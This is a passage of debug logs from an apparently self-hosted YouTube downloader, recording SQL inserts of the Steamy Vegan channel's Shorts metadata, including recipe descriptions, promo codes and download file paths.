https://www.youtube.com/shorts/lBWffsRPXFc\nKenneth Turner Ken in the Kitchen - https://youtube.com/shorts/4MlG1ZsCfSU\nTrufie Beulah - https://youtube.com/shorts/FFeG5Ngv1wc\nAshley Frederick / Whip It Like Butter - https://youtube.com/shorts/63VRWZ46_eE\nKatelyn Baldwin - https://youtube.com/shorts/fjMBtuyWrEo\nJanelle Carss / Steamy Vegan Kitchen - https://youtube.com/shorts/55CZner_Hhw\nDevin Boesing / @BoeBoeCooks - https://youtube.com/shorts/Ki827TsZka0\nCurtis Zondag / Indo_Chef - https://youtube.com/shorts/7xZRI8-dsHw\nShaan Grande @(whatsindepot) - https://youtube.com/shorts/FGM1cIYAFNo\nXuan Klevecka & Davis Luong - https://youtube.com/shorts/Xyt_IWbvCJY\nThimmy Abenes / Cook with Thimmy - https://youtube.com/shorts/kvDPK1qekAY\nJoanna Rankin / Lowbrow Fancy - https://www.youtube.com/shorts/gJRRChlvK7U\nDonna Greeson / Stir the Pot - https://youtube.com/shorts/lXeSP1NZ8Q0\nKid Chef Scarlet - https://youtube.com/shorts/vDh2Wd8Ih08\nPhilip Lemoine - https://youtube.com/shorts/ocwZUu6h_fM\nBrian & Sasha / Hoshi's Kitchen - https://youtube.com/shorts/xKyWpBCbVaw\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest-complete-package?ref=R3PGjUSm \n\nWatch my other 'WHAT I EAT' videos ➡️ https://www.youtube.com/playlist?list=PLf7woCLAh2s_EA5CAAa5fOF1PXubyDgkj\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: https://www.facebook.com/SteamyVeganKitchen\nINSTAGRAM: https://instagram.com/steamyvegankitchen\nPINTEREST: https://www.pinterest.ca/SteamyVeganKitchen\n\nBLOG: https://steamyvegankitchen.com\nCONTACT: janelle@steamyvegankitchen.com\n\nGet my FREE SOUP BASICS FOR BEGINNERS GUIDE!\nhttps://steamyvegankitchen.com/steamy-freebies/", "My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts", 1, 57, false, "55CZner_Hhw", "https://www.youtube.com/shorts/55CZner_Hhw", "/downloads/downloads/alec/Steamy Vegan/2023-03-18 My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts/My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts [55CZner_Hhw].NA", true, ~U[2023-03-18 18:12:00Z]] 20:31:09.838 [debug] QUERY OK source="sources" db=0.5ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.840 [debug] QUERY OK source="media_items" db=2.1ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-15 15:00:12Z], 1] 20:31:09.842 [debug] QUERY OK source="media_items" db=0.5ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This pico de gallo will be the biggest hit at your next get together. If you enjoyed this pico de gallo short then don't forget to subscribe as all this week we're posting vegan and gluten free Mexican cuisine dishes. \n\nCheck out the full 9 minute pico de gallo cook with me video here: https://youtu.be/zYX8d3bvg_w", "Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts", "c37212ce-786e-4524-a146-6c166d0dd670", 1, [], 57, false, "MZeHqIag1H4", "https://www.youtube.com/shorts/MZeHqIag1H4", 181, "/downloads/downloads/alec/Steamy Vegan/2023-03-15 Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts/Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts [MZeHqIag1H4].NA", false, false, true, 1, ~U[2023-03-15 15:00:12Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This pico de gallo will be the biggest hit at your next get together. If you enjoyed this pico de gallo short then don't forget to subscribe as all this week we're posting vegan and gluten free Mexican cuisine dishes. \n\nCheck out the full 9 minute pico de gallo cook with me video here: https://youtu.be/zYX8d3bvg_w", "Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts", 1, 57, false, "MZeHqIag1H4", "https://www.youtube.com/shorts/MZeHqIag1H4", "/downloads/downloads/alec/Steamy Vegan/2023-03-15 Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts/Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts [MZeHqIag1H4].NA", true, ~U[2023-03-15 15:00:12Z]] 20:31:09.843 [debug] QUERY OK source="sources" db=0.8ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.845 [debug] QUERY OK source="media_items" db=1.5ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-06 16:57:03Z], 1] 20:31:09.849 [debug] QUERY OK source="media_items" db=3.1ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["MUSHROOM GRAVY 🍄 with all the *beautiful* mushrooms I received in my latest @pekoproduce mystery box 📦 \n\nHOW TO MAKE 🥣 \n½ onion, diced\n1 lb mushrooms, washed and chopped\n3 cloves garlic, minced\n1 tbsp miso paste\n2 tsp dried thyme\n½ tsp black pepper\n1 tbsp tamari\n¾ cup dry red lentils\n4 cups hot mushroom broth \n\nHeat 1 tbsp of oil or ¼ cup broth to a saucepan on medium high heat\nAdd the mushrooms, onion and garlic and sauté for 5 minutes until the onions are translucent and mushrooms start to reduce on size.\nAdd the thyme, black pepper, miso paste and tamari, stir to combine then cook for 2 more minutes.\nStir in the lentils and pour in the broth. Cover, reduce heat to medium and simmer for 15 to 20 minutes until the lentils are soft and cooked.\nBlend in your pot with an immersion blender until smooth, or ladle the mixture into a high-speed blender and blend until completely smooth, transfer back to the pot — OR leave the gravy as is and enjoy the chunky and thick texture of the whole mushrooms! Either way is delicious 😊\n\nWhy shop for groceries with Peko? 📦\n- help reduce food waste 🚮\n- help farmers 👩\u200D🌾\n- help our climate 🌏\n- help your wallet! 💵\n\nALSO! Shipping is free, and you can choose to buy once, weekly, bi-weekly or monthly and it comes right to your door 🚪\n\nLive anywhere from UBC to Langley?\u00A0@pekoproduce\u00A0delivers to all of\u00A0#metrovancouver. So hit that link in my bio or use my promo code STEAMYVEGANKITCHEN10 to save 10% off your first order! www.pekoproduce.com\n\n#steamyvegankitchen #steamyvegan #pekoproduce #vancouver #lovefoodhatewaste #imperfectproduce #groceryshopping #yvr #eattherainbow #grocerydelivery #eatwholefoods #eatwellbewell #reducewaste #sustainablefood #sustainablecooking #vancouverfoodie #vancouvervegan #vancouverbc #vancitybuzz #vancity", "Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts", "4b15e77d-00fc-4526-ba6f-4f1f9818d44d", 1, [], 41, false, "1aSIyzoG3DI", "https://www.youtube.com/shorts/1aSIyzoG3DI", 182, "/downloads/downloads/alec/Steamy Vegan/2023-03-06 Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts/Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts [1aSIyzoG3DI].NA", false, false, true, 1, ~U[2023-03-06 16:57:03Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "MUSHROOM GRAVY 🍄 with all the *beautiful* mushrooms I received in my latest @pekoproduce mystery box 📦 \n\nHOW TO MAKE 🥣 \n½ onion, diced\n1 lb mushrooms, washed and chopped\n3 cloves garlic, minced\n1 tbsp miso paste\n2 tsp dried thyme\n½ tsp black pepper\n1 tbsp tamari\n¾ cup dry red lentils\n4 cups hot mushroom broth \n\nHeat 1 tbsp of oil or ¼ cup broth to a saucepan on medium high heat\nAdd the mushrooms, onion and garlic and sauté for 5 minutes until the onions are translucent and mushrooms start to reduce on size.\nAdd the thyme, black pepper, miso paste and tamari, stir to combine then cook for 2 more minutes.\nStir in the lentils and pour in the broth. Cover, reduce heat to medium and simmer for 15 to 20 minutes until the lentils are soft and cooked.\nBlend in your pot with an immersion blender until smooth, or ladle the mixture into a high-speed blender and blend until completely smooth, transfer back to the pot — OR leave the gravy as is and enjoy the chunky and thick texture of the whole mushrooms! Either way is delicious 😊\n\nWhy shop for groceries with Peko? 📦\n- help reduce food waste 🚮\n- help farmers 👩\u200D🌾\n- help our climate 🌏\n- help your wallet! 💵\n\nALSO! Shipping is free, and you can choose to buy once, weekly, bi-weekly or monthly and it comes right to your door 🚪\n\nLive anywhere from UBC to Langley?\u00A0@pekoproduce\u00A0delivers to all of\u00A0#metrovancouver. So hit that link in my bio or use my promo code STEAMYVEGANKITCHEN10 to save 10% off your first order! www.pekoproduce.com\n\n#steamyvegankitchen #steamyvegan #pekoproduce #vancouver #lovefoodhatewaste #imperfectproduce #groceryshopping #yvr #eattherainbow #grocerydelivery #eatwholefoods #eatwellbewell #reducewaste #sustainablefood #sustainablecooking #vancouverfoodie #vancouvervegan #vancouverbc #vancitybuzz #vancity", "Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts", 1, 41, false, "1aSIyzoG3DI", "https://www.youtube.com/shorts/1aSIyzoG3DI", "/downloads/downloads/alec/Steamy Vegan/2023-03-06 Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts/Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts [1aSIyzoG3DI].NA", true, ~U[2023-03-06 16:57:03Z]] 20:31:09.850 [debug] QUERY OK source="sources" db=0.8ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.853 [debug] QUERY OK source="media_items" db=2.7ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-05 15:47:49Z], 1] 20:31:09.855 [debug] QUERY OK source="media_items" db=0.6ms idle=11.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Full episode here https://youtu.be/cCiQc7rHz1o\n\n\n\nMusic by frumhere, kevatta - summer nights - https://thmatc.co/?l=D6FDD185", "Day in the life of a millennial YouTuber", "43256b8c-7a28-4010-a05d-1aa5f6f640b1", 1, [], 59, false, "Tqt28VUxJLk", "https://www.youtube.com/shorts/Tqt28VUxJLk", 183, "/downloads/downloads/alec/Steamy Vegan/2023-03-05 Day in the life of a millennial YouTuber/Day in the life of a millennial YouTuber [Tqt28VUxJLk].NA", false, false, true, 1, ~U[2023-03-05 15:47:49Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Full episode here https://youtu.be/cCiQc7rHz1o\n\n\n\nMusic by frumhere, kevatta - summer nights - https://thmatc.co/?l=D6FDD185", "Day in the life of a millennial YouTuber", 1, 59, false, "Tqt28VUxJLk", "https://www.youtube.com/shorts/Tqt28VUxJLk", "/downloads/downloads/alec/Steamy Vegan/2023-03-05 Day in the life of a millennial YouTuber/Day in the life of a millennial YouTuber [Tqt28VUxJLk].NA", true, ~U[2023-03-05 15:47:49Z]] 20:31:09.856 [debug] QUERY OK source="sources" db=0.6ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.858 [debug] QUERY OK source="media_items" db=2.1ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-27 16:36:10Z], 1] 20:31:09.859 [debug] QUERY OK source="media_items" db=0.7ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a week, vegan and sugar-free!\n\nCheck out our full-length video on how we quit sugar for an entire month, and how it's changing how we live: https://youtu.be/UP5XYyNmLaY\n\n\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "What I eat in a week | vegan and sugar-free", "891dd2ed-88a2-443d-a1f6-32e5080b3f34", 1, [], 23, false, "XC7Ln_DuR1E", "https://www.youtube.com/shorts/XC7Ln_DuR1E", 184, "/downloads/downloads/alec/Steamy Vegan/2023-02-27 What I eat in a week | vegan and sugar-free/What I eat in a week | vegan and sugar-free [XC7Ln_DuR1E].NA", false, false, true, 1, ~U[2023-02-27 16:36:10Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "What I eat in a week, vegan and sugar-free!\n\nCheck out our full-length video on how we quit sugar for an entire month, and how it's changing how we live: https://youtu.be/UP5XYyNmLaY\n\n\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "What I eat in a week | vegan and sugar-free", 1, 23, false, "XC7Ln_DuR1E", "https://www.youtube.com/shorts/XC7Ln_DuR1E", "/downloads/downloads/alec/Steamy Vegan/2023-02-27 What I eat in a week | vegan and sugar-free/What I eat in a week | vegan and sugar-free [XC7Ln_DuR1E].NA", true, ~U[2023-02-27 16:36:10Z]] 20:31:09.860 [debug] QUERY OK source="sources" db=0.7ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.863 [debug] QUERY OK source="media_items" db=2.5ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-26 17:43:19Z], 1] 20:31:09.864 [debug] QUERY OK source="media_items" db=0.9ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I quit sugar for 30 days! 🍬 Am I crazy? Maybe. Has it been totally worth it? Definitely ☺️ \n\nWatch the whole video by clicking the play button by my channel name.\n\nTogether my husband Brad and I figured out how to live free from our sugar addiction, and how eating a whole food plant-based diet played such an integral part in our success. 🍎🍑🍌🥦🫐🍇🍠\n\nRun to my YouTube channel (@steamyvegankitchen) and watch our entire journey! Linked in bio! \n\n#howtoquitsugar #quitsugar #nosugardiet #quittingsugar #nosugar #nosugarchallenge #sugaraddiction #Iquitsugar #whatieatinaday #steamyvegankitchen #veganrecipes \n\nMusic by frumhere - thoughts in colors - https://thmatc.co/?l=FE7EF04B", "I quit sugar for 30 days #shorts #youtubeshorts", "a6c49a09-82fd-44e8-bde0-f3c7f4246a87", 1, [], 47, false, "5VLBOB2n2Tk", "https://www.youtube.com/shorts/5VLBOB2n2Tk", 185, "/downloads/downloads/alec/Steamy Vegan/2023-02-26 I quit sugar for 30 days #shorts #youtubeshorts/I quit sugar for 30 days #shorts #youtubeshorts [5VLBOB2n2Tk].NA", false, false, true, 1, ~U[2023-02-26 17:43:19Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "I quit sugar for 30 days! 🍬 Am I crazy? Maybe. Has it been totally worth it? Definitely ☺️ \n\nWatch the whole video by clicking the play button by my channel name.\n\nTogether my husband Brad and I figured out how to live free from our sugar addiction, and how eating a whole food plant-based diet played such an integral part in our success. 🍎🍑🍌🥦🫐🍇🍠\n\nRun to my YouTube channel (@steamyvegankitchen) and watch our entire journey! Linked in bio! \n\n#howtoquitsugar #quitsugar #nosugardiet #quittingsugar #nosugar #nosugarchallenge #sugaraddiction #Iquitsugar #whatieatinaday #steamyvegankitchen #veganrecipes \n\nMusic by frumhere - thoughts in colors - https://thmatc.co/?l=FE7EF04B", "I quit sugar for 30 days #shorts #youtubeshorts", 1, 47, false, "5VLBOB2n2Tk", "https://www.youtube.com/shorts/5VLBOB2n2Tk", "/downloads/downloads/alec/Steamy Vegan/2023-02-26 I quit sugar for 30 days #shorts #youtubeshorts/I quit sugar for 30 days #shorts #youtubeshorts [5VLBOB2n2Tk].NA", true, ~U[2023-02-26 17:43:19Z]] 20:31:09.865 [debug] QUERY OK source="sources" db=0.8ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.868 [debug] QUERY OK source="media_items" db=2.2ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-19 16:47:11Z], 1] 20:31:09.869 [debug] QUERY OK source="media_items" db=1.0ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Guilt-Free Brownies made from… SWEET POTATOES? 🍠 Yup. FULL RECIPE VIDEO:\nhttps://youtu.be/sZGmMaDVWHk\n\nThey’re fudgy, moist, sweet, totally decadent tasting and have NO gluten, dairy, refined sugar, oil and are 100% vegan 🌱 The BEAUTY of whole foods! 😍 I’m in LOVE with these brownies and they love me right back.\n\nOat flour\nMedjool dates, pitted and soaked \n2 medium sweet potatoes, baked\nCocoa powder \nPlant milk\nVanilla extract\nSea salt \nBaking soda & powder\n\nFull recipe on my YouTube channel — recipe video linked in bio! 🍠🍫\n\n#plantbasedbaking #veganbrownies #browniefit #healthybaking #wfpbrecipes #wfpb #wholefoodplantbased #steamyvegankitchen #steamyvegan \n#sweetpotatobrownies", "GUILT-FREE BROWNIES 🤤", "4ef2169e-1386-4e86-8adc-3f8d77e8e274", 1, [], 15, false, "6Q-bW2cYEN4", "https://www.youtube.com/shorts/6Q-bW2cYEN4", 186, "/downloads/downloads/alec/Steamy Vegan/2023-02-19 GUILT-FREE BROWNIES 🤤/GUILT-FREE BROWNIES 🤤 [6Q-bW2cYEN4].NA", false, false, true, 1, ~U[2023-02-19 16:47:11Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Guilt-Free Brownies made from… SWEET POTATOES? 🍠 Yup. FULL RECIPE VIDEO:\nhttps://youtu.be/sZGmMaDVWHk\n\nThey’re fudgy, moist, sweet, totally decadent tasting and have NO gluten, dairy, refined sugar, oil and are 100% vegan 🌱 The BEAUTY of whole foods! 😍 I’m in LOVE with these brownies and they love me right back.\n\nOat flour\nMedjool dates, pitted and soaked \n2 medium sweet potatoes, baked\nCocoa powder \nPlant milk\nVanilla extract\nSea salt \nBaking soda & powder\n\nFull recipe on my YouTube channel — recipe video linked in bio! 🍠🍫\n\n#plantbasedbaking #veganbrownies #browniefit #healthybaking #wfpbrecipes #wfpb #wholefoodplantbased #steamyvegankitchen #steamyvegan \n#sweetpotatobrownies", "GUILT-FREE BROWNIES 🤤", 1, 15, false, "6Q-bW2cYEN4", "https://www.youtube.com/shorts/6Q-bW2cYEN4", "/downloads/downloads/alec/Steamy Vegan/2023-02-19 GUILT-FREE BROWNIES 🤤/GUILT-FREE BROWNIES 🤤 [6Q-bW2cYEN4].NA", true, ~U[2023-02-19 16:47:11Z]] 20:31:09.872 [debug] QUERY OK source="sources" db=2.2ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.874 [debug] QUERY OK source="media_items" db=2.1ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-18 17:42:03Z], 1] 20:31:09.876 [debug] QUERY OK source="media_items" db=0.9ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The BEST Banana Bread… Ever?! Yup. 🍌🍞And it’s vegan, GF, oil-free and made with mostly whole foods. FULL RECIPE VIDEO ➡️ https://youtu.be/Md-V4Neaa1w\n\nSeriously. As someone who’s struggled to perfect any GF breads, cause you know they ALWAYS are undercooked in the middle or dry and crumbly AF 🥴 this oat flour-based bread cooks TO PERFECTION! \n\nbrown spotty bananas\nrolled oats (gluten-free if necessary)\nbaking powder & soda \nsalt\ntsp cinnamon\ncoconut sugar\ntahini or nut butter\nvanilla\n2 flax eggs\napple cider vinegar\nvegan choc chips\n\n#veganbananabread #bananabreadrecipe #wfpbrecipes #wfpbvegan #steamyvegankitchen #steamyvegan #whatveganseat #poweredbyplants", "Vegan Banana Bread | The only recipe you’ll ever need", "5be11409-63d3-42cd-bb99-9f17cd0dcfd6", 1, [], 15, false, "eu8lbSq6wwg", "https://www.youtube.com/shorts/eu8lbSq6wwg", 187, "/downloads/downloads/alec/Steamy Vegan/2023-02-18 Vegan Banana Bread | The only recipe you’ll ever need/Vegan Banana Bread | The only recipe you’ll ever need [eu8lbSq6wwg].NA", false, false, true, 1, ~U[2023-02-18 17:42:03Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "The BEST Banana Bread… Ever?! Yup. 🍌🍞And it’s vegan, GF, oil-free and made with mostly whole foods. FULL RECIPE VIDEO ➡️ https://youtu.be/Md-V4Neaa1w\n\nSeriously. As someone who’s struggled to perfect any GF breads, cause you know they ALWAYS are undercooked in the middle or dry and crumbly AF 🥴 this oat flour-based bread cooks TO PERFECTION! \n\nbrown spotty bananas\nrolled oats (gluten-free if necessary)\nbaking powder & soda \nsalt\ntsp cinnamon\ncoconut sugar\ntahini or nut butter\nvanilla\n2 flax eggs\napple cider vinegar\nvegan choc chips\n\n#veganbananabread #bananabreadrecipe #wfpbrecipes #wfpbvegan #steamyvegankitchen #steamyvegan #whatveganseat #poweredbyplants", "Vegan Banana Bread | The only recipe you’ll ever need", 1, 15, false, "eu8lbSq6wwg", "https://www.youtube.com/shorts/eu8lbSq6wwg", "/downloads/downloads/alec/Steamy Vegan/2023-02-18 Vegan Banana Bread | The only recipe you’ll ever need/Vegan Banana Bread | The only recipe you’ll ever need [eu8lbSq6wwg].NA", true, ~U[2023-02-18 17:42:03Z]] 20:31:09.877 [debug] QUERY OK source="sources" db=0.8ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", 